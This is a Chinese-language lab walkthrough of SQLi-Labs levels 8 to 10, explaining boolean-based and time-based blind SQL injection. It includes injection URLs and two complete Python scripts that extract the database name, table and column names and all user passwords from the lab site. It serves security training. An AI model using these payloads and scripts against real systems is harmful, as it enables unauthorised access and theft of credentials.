SQLi-Labs是一个用于学习和练习SQL注入漏洞的开源应用程序。通过它,我们可以学习如何识别和利用不同类型的SQL注入漏洞,并了解如何修复和防范这些漏洞。
Less 8
SQLI DUMB SERIES-8
判断注入点
当输入id为1时正常显示:
加上单引号就报错了
那就将后面的代码注释就恢复正常显示:
c
http://sqli-labs.com/Less-8/
?id=1'--+
并通过order语句得到表单字段为3个:
实施注入
布尔(Boolean)盲SQL注入技术是一种SQL注入攻击的形式,它利用了数据库在处理布尔逻辑时的漏洞。
在这种攻击中,攻击者通过构造特定的SQL语句,尝试修改应用程序的查询语句,以便程序在响应时反映出某些操作结果(如真或假),从而确定某些特定答案或确认应用程序中的漏洞。
布尔盲注的原理是通过构造恰当的SQL语句,使得应用程序的响应结果有所不同。
通过以上信息来看可以确定,这一关可以用布尔盲注 的方式来进行解题。我们先尝试用语句来判断是否获取正常。
通过下列结果可以看出来database()
的第一个字符并不是a
,我们需要继续尝试所有英文字母。
sql
http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='a' --+
直到我们尝试用s
测试出来它才是目标,并提示"***You are in..."。
sql
http://sqli-labs.com/Less-8/
?id=1')) and substr(database(),1,1)='s' --+
如果在MYSQL中的话则过程则为:
sql
SELECT * FROM users WHERE id=(('1')) and substr(database(),1,1)='s' ;
故我们使用python代码来模拟这个过程并获取到完整目录文件,代码如下 :
c
import requests
ALPHABET=",abcdefghijklmnopqrstuvwxyz"
A_LEN=len(ALPHABET)
URL="http://sqli-labs.com/Less-8/?id=1' and substr(({sql}),{position},1)='{char}'--+"
#布尔注入并返回判断
def boolInject(path):
response=requests.get(path)
if response.status_code==200:
if "You are in" in response.text:
return True
else:
return False
else:
return False
#获取数据
def extract_data(sql):
s=""
position=0
while True:
position+=1
#先判断是否为空,为空则直接断开(意味着没有数据或已完成数据采集)
res=boolInject(URL.format(sql=sql,position=position,char=""))
if res==True:
break
#不为空则尝试一个个判断字母是否符合
char=" "
for i in range(A_LEN):
res=boolInject(URL.format(sql=sql,position=position,char=ALPHABET[i]))
#如果找到相同的字符串则填入char
if res==True:
char=ALPHABET[i]
break
s+=char
return s
接着我们在相同文件编写获取数据库的命令:
python
print(extract_data("database()"))
ID参数实际为1')) and substr(database(),%i,1)='%s'--+
最后执行该文件:
powershell
> python bool.py
接着获取其它参数:
python
#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#query="1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%i,1)='%s'--+"
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#query="1')) and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%i,1)='%s'--+"
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))
#query="1')) and substr((select group_concat(password) from users),%i,1)='%s'--+"
结果如下:
但是你会发现,在获取用户密码的时候会有很多空字符,这里是什么原因呢?
这是由于没有匹配对应的字符造成的,如果想要解决这个问题,那么你就要在`ALPHABET`参数上加上更多的字符以适应更多的情况。
Less 9
SQLI DUMB SERIES-9
判断注入点
输入ID,正常显示
但输入其它字符也都显示一样的内容。
在这里我们无法看到错误信息,也不知道信息能否正常获取到。
此时则尝试使用时间注入 的方式来进行,当输入下列参数时可以看到页面需要等待五秒才返回数据,则代表SQL语句运行成功,且可以利用此漏洞:
sql
http://sqli-labs.com/Less-9/
?id=1' and sleep(5) --+
实施注入
SQL时间注入是一种安全漏洞,通过修改SQL查询中的时间参数,攻击者可以获取未授权的数据或执行未授权的操作。
1. 基于时间延迟:在SQL语句中注入时间相关的代码,如MySQL中的sleep()函数。例如,sleep(5)会使数据库延时5秒返回内容。攻击者可以根据页面的响应时间来判断是否存在SQL时间注入。
2. 判断方法:通过在注入点输入类似'and sleep(5)的语句,如果页面响应时间至少为5秒,则说明存在SQL时间注入。
3. 获取敏感信息:通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,如用户名、密码等。
接下来的工作就是之前使用的布尔注入流程一样,通过一个个字的判断来确定是否为想要的字符。
如我们获取数据名称是否为s,并通过睡眠5秒来判断:
sql
http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='a' and sleep(5)--+
执行后页面立即返回了数据,代表数据库名的第一个字符并不是a,直接判断s才能成功:
sql
http://sqli-labs.com/Less-9/
?id=1' and substr(database(),1,1)='s' and sleep(5)--+
我们把这个过程通过python代码来完成自动化注入与判断,完整代码如下:
python
import requests
import time
ALPHABET=",abcdefghijklmnopqrstuvwxyz"#验证字符集
A_LEN=len(ALPHABET)
SLEEP_TIME=1#等待时间(为了缩短代码运行时间,我们这里将睡眠时间设置为一秒钟)
URL="http://sqli-labs.com/Less-9/?id=1' and substr(({sql}),{position},1)='{char}' and sleep({time})--+"
#布尔注入并返回判断
def inject(path):
start=time.time()
response=requests.get(path)
end=time.time()
#如果数据获取时间大于睡眠时间代表代码运行成功
if response.status_code==200 and end-start>SLEEP_TIME:
return True
else:
return False
#获取数据
def extract_data(sql):
s=""
position=0
while True:
position+=1
#先判断是否为空,为空则直接断开(意味着没有数据或已完成数据采集)
res=inject(URL.format(sql=sql,position=position,char="",time=SLEEP_TIME))
if res==True:
break
#不为空则尝试一个个判断字母是否符合
char=" "
for i in range(A_LEN):
res=inject(URL.format(sql=sql,position=position,char=ALPHABET[i],time=SLEEP_TIME))
#如果找到相同的字符串则填入char
if res==True:
char=ALPHABET[i]
break
s+=char
return s
#获取数据库
print(extract_data("database()"))
#query="1' and substr(database(),%i,1)='%s' and sleep(%i)--+"
执行代码即获取成功:
那么后面的代码也是一样的道理:
python
#获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))
#获取列名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))
#获取用户名全部密码
print(extract_data("select group_concat(password) from users"))
执行结果,成功完成注入(有一说一,代码请求量一多这脚本运行时间真的长!):
Less 10
SQLI DUMB SERIES-10
判断注入点
输入注入代码,通过测试可知是使用双引号来进行闭合的查询语句。
python
http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1' and sleep(5) --+
http://sqli-labs.com/Less-10/?id=1" and sleep(5) --+
如此便可以采用和上面类似的盲注入代码来进行。仅需要改其它的常量URL修改一下:
python
URL="http://sqli-labs.com/Less-10/?id=1\" and substr(({sql}),{position},1)='{char}' and sleep({time})--+"